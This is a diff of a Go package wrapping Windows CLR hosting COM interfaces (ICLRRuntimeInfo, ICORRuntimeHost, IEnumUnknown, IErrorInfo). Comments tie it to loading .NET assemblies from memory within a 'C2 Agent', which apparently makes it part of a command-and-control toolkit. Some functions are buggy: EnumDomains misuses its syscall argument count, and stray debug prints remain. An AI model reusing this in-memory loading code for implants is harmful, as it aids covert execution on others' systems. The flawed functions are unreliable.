// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-getcurrentappdomainid-method
|
||||
func (obj *ICLRRuntimeHost) GetCurrentAppDomainID() (pdwAppDomainId uint32, err error) {
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetCurrentAppDomainId,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pdwAppDomainId)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+211
@@ -0,0 +1,211 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type ICLRRuntimeInfo struct {
|
||||
vtbl *ICLRRuntimeInfoVtbl
|
||||
}
|
||||
|
||||
// ICLRRuntimeInfoVtbl Provides methods that return information about a specific common language runtime (CLR),
|
||||
// including version, directory, and load status. This interface also provides runtime-specific functionality
|
||||
// without initializing the runtime. It includes the runtime-relative LoadLibrary method, the runtime
|
||||
// module-specific GetProcAddress method, and runtime-provided interfaces through the GetInterface method.
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-interface
|
||||
type ICLRRuntimeInfoVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// GetVersionString Gets common language runtime (CLR) version information associated with a given
|
||||
// ICLRRuntimeInfo interface. This method supersedes the GetRequestedRuntimeInfo and GetRequestedRuntimeVersion methods.
|
||||
GetVersionString uintptr
|
||||
// GetRuntimeDirectory Gets the installation directory of the CLR associated with this interface.
|
||||
// This method supersedes the GetCORSystemDirectory method.
|
||||
GetRuntimeDirectory uintptr
|
||||
// IsLoaded Indicates whether the CLR associated with the ICLRRuntimeInfo interface is loaded into a process.
|
||||
IsLoaded uintptr
|
||||
// LoadErrorString Translates an HRESULT value into an appropriate error message for the specified culture.
|
||||
// This method supersedes the LoadStringRC and LoadStringRCEx methods.
|
||||
LoadErrorString uintptr
|
||||
// LoadLibrary Loads a library from the framework directory of the CLR represented by an ICLRRuntimeInfo interface.
|
||||
// This method supersedes the LoadLibraryShim method.
|
||||
LoadLibrary uintptr
|
||||
// GetProcAddress Gets the address of a specified function that was exported from the CLR associated with
|
||||
// this interface. This method supersedes the GetRealProcAddress method.
|
||||
GetProcAddress uintptr
|
||||
// GetInterface Loads the CLR into the current process and returns runtime interface pointers,
|
||||
// such as ICLRRuntimeHost, ICLRStrongName and IMetaDataDispenser. This method supersedes all the CorBindTo* functions.
|
||||
GetInterface uintptr
|
||||
// IsLoadable Indicates whether the runtime associated with this interface can be loaded into the current
|
||||
// process, taking into account other runtimes that might already be loaded into the process.
|
||||
IsLoadable uintptr
|
||||
// SetDefaultStartupFlags Sets the CLR startup flags and host configuration file.
|
||||
SetDefaultStartupFlags uintptr
|
||||
// GetDefaultStartupFlags Gets the CLR startup flags and host configuration file.
|
||||
GetDefaultStartupFlags uintptr
|
||||
// BindAsLegacyV2Runtime Binds this runtime for all legacy CLR version 2 activation policy decisions.
|
||||
BindAsLegacyV2Runtime uintptr
|
||||
// IsStarted Indicates whether the CLR that is associated with the ICLRRuntimeInfo interface has been started.
|
||||
IsStarted uintptr
|
||||
}
|
||||
|
||||
// GetRuntimeInfo is a wrapper function to return an ICLRRuntimeInfo from a standard version string
|
||||
func GetRuntimeInfo(metahost *ICLRMetaHost, version string) (*ICLRRuntimeInfo, error) {
|
||||
pwzVersion, err := syscall.UTF16PtrFromString(version)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return metahost.GetRuntime(pwzVersion, IID_ICLRRuntimeInfo)
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeInfo) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeInfo) Release() uintptr {
|
||||
debugPrint("Entering into iclrruntimeinfo.Release()...")
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// GetVersionString gets common language runtime (CLR) version information associated with a given ICLRRuntimeInfo interface.
|
||||
// HRESULT GetVersionString(
|
||||
// [out, size_is(*pcchBuffer)] LPWSTR pwzBuffer,
|
||||
// [in, out] DWORD *pcchBuffer);
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getversionstring-method
|
||||
func (obj *ICLRRuntimeInfo) GetVersionString() (version string, err error) {
|
||||
debugPrint("Entering into iclrruntimeinfo.GetVersion()...")
|
||||
// [in, out] Specifies the size of pwzBuffer to avoid buffer overruns. If pwzBuffer is null, pchBuffer returns the required size of pwzBuffer to allow preallocation.
|
||||
var pchBuffer uint32
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetVersionString,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&pchBuffer)),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method during preallocation:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
// 0x8007007a = The data area passed to a system call is too small, expected when passing a nil buffer for preallocation
|
||||
if hr != S_OK && hr != 0x8007007a {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method (preallocation) returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
|
||||
pwzBuffer := make([]uint16, 20)
|
||||
|
||||
hr, _, err = syscall.Syscall(
|
||||
obj.vtbl.GetVersionString,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pwzBuffer[0])),
|
||||
uintptr(unsafe.Pointer(&pchBuffer)),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
version = syscall.UTF16ToString(pwzBuffer)
|
||||
return
|
||||
}
|
||||
|
||||
// GetInterface loads the CLR into the current process and returns runtime interface pointers,
|
||||
// such as ICLRRuntimeHost, ICLRStrongName, and IMetaDataDispenserEx.
|
||||
// HRESULT GetInterface(
|
||||
// [in] REFCLSID rclsid,
|
||||
// [in] REFIID riid,
|
||||
// [out, iid_is(riid), retval] LPVOID *ppUnk); unsafe pointer of a pointer to an object pointer
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getinterface-method
|
||||
func (obj *ICLRRuntimeInfo) GetInterface(rclsid windows.GUID, riid windows.GUID, ppUnk unsafe.Pointer) error {
|
||||
debugPrint("Entering into iclrruntimeinfo.GetInterface()...")
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.GetInterface,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&rclsid)),
|
||||
uintptr(unsafe.Pointer(&riid)),
|
||||
uintptr(ppUnk),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
// The syscall returns "The requested lookup key was not found in any active activation context." in the error position
|
||||
// TODO Why is this error message returned?
|
||||
if err != syscall.Errno(0) && err.Error() != "The requested lookup key was not found in any active activation context." {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// BindAsLegacyV2Runtime binds the current runtime for all legacy common language runtime (CLR) version 2 activation policy decisions.
|
||||
// HRESULT BindAsLegacyV2Runtime ();
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-bindaslegacyv2runtime-method
|
||||
func (obj *ICLRRuntimeInfo) BindAsLegacyV2Runtime() error {
|
||||
debugPrint("Entering into iclrruntimeinfo.BindAsLegacyV2Runtime()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.BindAsLegacyV2Runtime,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// IsLoadable indicates whether the runtime associated with this interface can be loaded into the current process,
|
||||
// taking into account other runtimes that might already be loaded into the process.
|
||||
// HRESULT IsLoadable(
|
||||
// [out, retval] BOOL *pbLoadable);
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-isloadable-method
|
||||
func (obj *ICLRRuntimeInfo) IsLoadable() (pbLoadable bool, err error) {
|
||||
debugPrint("Entering into iclrruntimeinfo.IsLoadable()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.IsLoadable,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pbLoadable)),
|
||||
0)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+231
@@ -0,0 +1,231 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type ICORRuntimeHost struct {
|
||||
vtbl *ICORRuntimeHostVtbl
|
||||
}
|
||||
|
||||
// ICORRuntimeHostVtbl Provides methods that enable the host to start and stop the common language runtime (CLR)
|
||||
// explicitly, to create and configure application domains, to access the default domain, and to enumerate all
|
||||
// domains running in the process.
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-interface
|
||||
type ICORRuntimeHostVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// CreateLogicalThreadState Do not use.
|
||||
CreateLogicalThreadState uintptr
|
||||
// DeleteLogicalThreadSate Do not use.
|
||||
DeleteLogicalThreadState uintptr
|
||||
// SwitchInLogicalThreadState Do not use.
|
||||
SwitchInLogicalThreadState uintptr
|
||||
// SwitchOutLogicalThreadState Do not use.
|
||||
SwitchOutLogicalThreadState uintptr
|
||||
// LocksHeldByLogicalThreadState Do not use.
|
||||
LocksHeldByLogicalThreadState uintptr
|
||||
// MapFile Maps the specified file into memory. This method is obsolete.
|
||||
MapFile uintptr
|
||||
// GetConfiguration Gets an object that allows the host to specify the callback configuration of the CLR.
|
||||
GetConfiguration uintptr
|
||||
// Start Starts the CLR.
|
||||
Start uintptr
|
||||
// Stop Stops the execution of code in the runtime for the current process.
|
||||
Stop uintptr
|
||||
// CreateDomain Creates an application domain. The caller receives an interface pointer of
|
||||
// type _AppDomain to an instance of type System.AppDomain.
|
||||
CreateDomain uintptr
|
||||
// GetDefaultDomain Gets an interface pointer of type _AppDomain that represents the default domain for the current process.
|
||||
GetDefaultDomain uintptr
|
||||
// EnumDomains Gets an enumerator for the domains in the current process.
|
||||
EnumDomains uintptr
|
||||
// NextDomain Gets an interface pointer to the next domain in the enumeration.
|
||||
NextDomain uintptr
|
||||
// CloseEnum Resets a domain enumerator back to the beginning of the domain list.
|
||||
CloseEnum uintptr
|
||||
// CreateDomainEx Creates an application domain. This method allows the caller to pass an
|
||||
// IAppDomainSetup instance to configure additional features of the returned _AppDomain instance.
|
||||
CreateDomainEx uintptr
|
||||
// CreateDomainSetup Gets an interface pointer of type IAppDomainSetup to an AppDomainSetup instance.
|
||||
// IAppDomainSetup provides methods to configure aspects of an application domain before it is created.
|
||||
CreateDomainSetup uintptr
|
||||
// CreateEvidence Gets an interface pointer of type IIdentity, which allows the host to create security
|
||||
// evidence to pass to CreateDomain or CreateDomainEx.
|
||||
CreateEvidence uintptr
|
||||
// UnloadDomain Unloads the specified application domain from the current process.
|
||||
UnloadDomain uintptr
|
||||
// CurrentDomain Gets an interface pointer of type _AppDomain that represents the domain loaded on the current thread.
|
||||
CurrentDomain uintptr
|
||||
}
|
||||
|
||||
// GetICORRuntimeHost is a wrapper function that takes in an ICLRRuntimeInfo and returns an ICORRuntimeHost object
|
||||
// and loads it into the current process. This is the "deprecated" API, but the only way currently to load an assembly
|
||||
// from memory (afaict)
|
||||
func GetICORRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICORRuntimeHost, error) {
|
||||
debugPrint("Entering into icorruntimehost.GetICORRuntimeHost()...")
|
||||
var runtimeHost *ICORRuntimeHost
|
||||
err := runtimeInfo.GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, unsafe.Pointer(&runtimeHost))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = runtimeHost.Start()
|
||||
return runtimeHost, err
|
||||
}
|
||||
|
||||
func (obj *ICORRuntimeHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into icorruntimehost.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
fmt.Println("1111111111111")
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
fmt.Println("222222222222222222")
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (obj *ICORRuntimeHost) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICORRuntimeHost) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Start starts the common language runtime (CLR).
|
||||
// HRESULT Start ();
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-start-method
|
||||
func (obj *ICORRuntimeHost) Start() error {
|
||||
debugPrint("Entering into icorruntimehost.Start()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.Start,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
// The system could not find the environment option that was entered.
|
||||
// TODO Why is this error message returned?
|
||||
debugPrint(fmt.Sprintf("the ICORRuntimeHost::Start method returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICORRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetDefaultDomain gets an interface pointer of type System._AppDomain that represents the default domain for the current process.
|
||||
// HRESULT GetDefaultDomain (
|
||||
// [out] IUnknown** pAppDomain
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-getdefaultdomain-method
|
||||
func (obj *ICORRuntimeHost) GetDefaultDomain() (IUnknown *IUnknown, err error) {
|
||||
debugPrint("Entering into icorruntimehost.GetDefaultDomain()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetDefaultDomain,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&IUnknown)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
// The specified procedure could not be found.
|
||||
// TODO Why is this error message returned?
|
||||
debugPrint(fmt.Sprintf("the ICORRuntimeHost::GetDefaultDomain method returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::GetDefaultDomain method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// CreateDomain Creates an application domain. The caller receives an interface pointer of type _AppDomain to an instance of type System.AppDomain.
|
||||
// HRESULT CreateDomain (
|
||||
// [in] LPWSTR pwzFriendlyName,
|
||||
// [in] IUnknown* pIdentityArray,
|
||||
// [out] void **pAppDomain
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ms164322(v=vs.100)
|
||||
func (obj *ICORRuntimeHost) CreateDomain(pwzFriendlyName *uint16) (pAppDomain *AppDomain, err error) {
|
||||
debugPrint("Entering into icorruntimehost.CreateDomain()...")
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.CreateDomain,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pwzFriendlyName)), // [in] LPWSTR pwzFriendlyName - An optional parameter used to give a friendly name to the domain
|
||||
uintptr(unsafe.Pointer(nil)), // [in] IUnknown* pIdentityArray - An optional array of pointers to IIdentity instances that represent evidence mapped through security policy to establish a permission set
|
||||
uintptr(unsafe.Pointer(&pAppDomain)), // [out] IUnknown** pAppDomain
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
// The specified procedure could not be found.
|
||||
// TODO Why is this error message returned?
|
||||
debugPrint(fmt.Sprintf("the ICORRuntimeHost::CreateDomain method returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::CreateDomain method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// EnumDomains Gets an enumerator for the domains in the current process.
|
||||
// HRESULT EnumDomains (
|
||||
// [out] HCORENUM *hEnum
|
||||
// );
|
||||
func (obj *ICORRuntimeHost) EnumDomains() (hEnum *uintptr, err error) {
|
||||
debugPrint("Enterin into icorruntimehost.EnumDomains()...")
|
||||
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.EnumDomains,
|
||||
(uintptr(unsafe.Pointer(hEnum))),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned an error:\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+82
@@ -0,0 +1,82 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
type IEnumUnknown struct {
|
||||
vtbl *IEnumUnknownVtbl
|
||||
}
|
||||
|
||||
// IEnumUnknownVtbl Enumerates objects implementing the root COM interface, IUnknown.
|
||||
// Commonly implemented by a component containing multiple objects. For more information, see IEnumUnknown.
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ienumunknown
|
||||
type IEnumUnknownVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// Next Retrieves the specified number of items in the enumeration sequence.
|
||||
Next uintptr
|
||||
// Skip Skips over the specified number of items in the enumeration sequence.
|
||||
Skip uintptr
|
||||
// Reset Resets the enumeration sequence to the beginning.
|
||||
Reset uintptr
|
||||
// Clone Creates a new enumerator that contains the same enumeration state as the current one.
|
||||
Clone uintptr
|
||||
}
|
||||
|
||||
func (obj *IEnumUnknown) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *IEnumUnknown) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Next retrieves the specified number of items in the enumeration sequence.
|
||||
// HRESULT Next(
|
||||
// ULONG celt,
|
||||
// IUnknown **rgelt,
|
||||
// ULONG *pceltFetched
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ienumunknown-next
|
||||
func (obj *IEnumUnknown) Next(celt uint32, pEnumRuntime unsafe.Pointer, pceltFetched *uint32) (hresult int, err error) {
|
||||
debugPrint("Entering into ienumunknown.Next()...")
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.Next,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(celt),
|
||||
uintptr(pEnumRuntime),
|
||||
uintptr(unsafe.Pointer(pceltFetched)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the IEnumUnknown::Next method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK && hr != S_FALSE {
|
||||
err = fmt.Errorf("the IEnumUnknown::Next method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
hresult = int(hr)
|
||||
return
|
||||
}
|
||||
+117
@@ -0,0 +1,117 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type IErrorInfo struct {
|
||||
vtbl *IErrorInfoVtbl
|
||||
}
|
||||
|
||||
// IErrorInfoVtbl returns information about an error in addition to the return code.
|
||||
// It returns the error message, name of the component and GUID of the interface in
|
||||
// which the error occurred, and the name and topic of the Help file that applies to the error.
|
||||
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms723041(v=vs.85)
|
||||
type IErrorInfoVtbl struct {
|
||||
// QueryInterface Retrieves pointers to the supported interfaces on an object.
|
||||
QueryInterface uintptr
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer.
|
||||
AddRef uintptr
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
Release uintptr
|
||||
// GetDescription Returns a text description of the error
|
||||
GetDescription uintptr
|
||||
// GetGUID Returns the GUID of the interface that defined the error.
|
||||
GetGUID uintptr
|
||||
// GetHelpContext Returns the Help context ID for the error.
|
||||
GetHelpContext uintptr
|
||||
// GetHelpFile Returns the path of the Help file that describes the error.
|
||||
GetHelpFile uintptr
|
||||
// GetSource Returns the name of the component that generated the error, such as "ODBC driver-name".
|
||||
GetSource uintptr
|
||||
}
|
||||
|
||||
// GetDescription Returns a text description of the error.
|
||||
// HRESULT GetDescription (
|
||||
// BSTR *pbstrDescription);
|
||||
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms714318(v=vs.85)
|
||||
func (obj *IErrorInfo) GetDescription() (pbstrDescription *string, err error) {
|
||||
debugPrint("Entering into ierrorinfo.GetDescription()...")
|
||||
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetDescription,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pbstrDescription)),
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the IErrorInfo::GetDescription method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetGUID Returns the globally unique identifier (GUID) of the interface that defined the error.
|
||||
// HRESULT GetGUID(
|
||||
// GUID *pGUID
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-ierrorinfo-getguid
|
||||
func (obj *IErrorInfo) GetGUID() (pGUID *windows.GUID, err error) {
|
||||
debugPrint("Entering into ierrorinfo.GetGUID()...")
|
||||
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetGUID,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pGUID)),
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the IErrorInfo::GetGUID method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the IErrorInfo::GetGUID method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetErrorInfo Obtains the error information pointer set by the previous call to SetErrorInfo in the current logical thread.
|
||||
// HRESULT GetErrorInfo(
|
||||
// ULONG dwReserved,
|
||||
// IErrorInfo **pperrinfo
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-geterrorinfo
|
||||
func GetErrorInfo() (pperrinfo *IErrorInfo, err error) {
|
||||
debugPrint("Entering into ierrorinfo.GetErrorInfo()...")
|
||||
modOleAut32 := syscall.MustLoadDLL("OleAut32.dll")
|
||||
procGetErrorInfo := modOleAut32.MustFindProc("GetErrorInfo")
|
||||
hr, _, err := procGetErrorInfo.Call(0, uintptr(unsafe.Pointer(&pperrinfo)))
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned an error:\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned a non-zero HRESULT code: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+200
@@ -0,0 +1,200 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// origSTDOUT is a Windows Handle to the program's original STDOUT
|
||||
var origSTDOUT = windows.Stdout
|
||||
|
||||
// origSTDERR is a Windows Handle to the program's original STDERR
|
||||
var origSTDERR = windows.Stderr
|
||||
|
||||
// rSTDOUT is an io.Reader for STDOUT
|
||||
var rSTDOUT *os.File
|
||||
|
||||
// wSTDOUT is an io.Writer for STDOUT
|
||||
var wSTDOUT *os.File
|
||||
|
||||
// rSTDERR is an io.Reader for STDERR
|
||||
var rSTDERR *os.File
|
||||
|
||||
// wSTDERR is an io.Writer for STDERR
|
||||
var wSTDERR *os.File
|
||||
|
||||
// Stdout is a buffer to collect anything written to STDOUT
|
||||
// The CLR will return the COR_E_TARGETINVOCATION error on subsequent Invoke_3 calls if the
|
||||
// redirected STDOUT writer is EVER closed while the parent process is running (e.g., a C2 Agent)
|
||||
// The redirected STDOUT reader will never recieve EOF and therefore reads will block and that is
|
||||
// why a buffer is used to stored anything that has been written to STDOUT while subsequent calls block
|
||||
var Stdout bytes.Buffer
|
||||
|
||||
// Stderr is a buffer to collect anything written to STDERR
|
||||
var Stderr bytes.Buffer
|
||||
|
||||
// errors is used to capture an errors from a goroutine
|
||||
var errors = make(chan error)
|
||||
|
||||
// mutex ensures exclusive access to read/write on STDOUT/STDERR by one routine at a time
|
||||
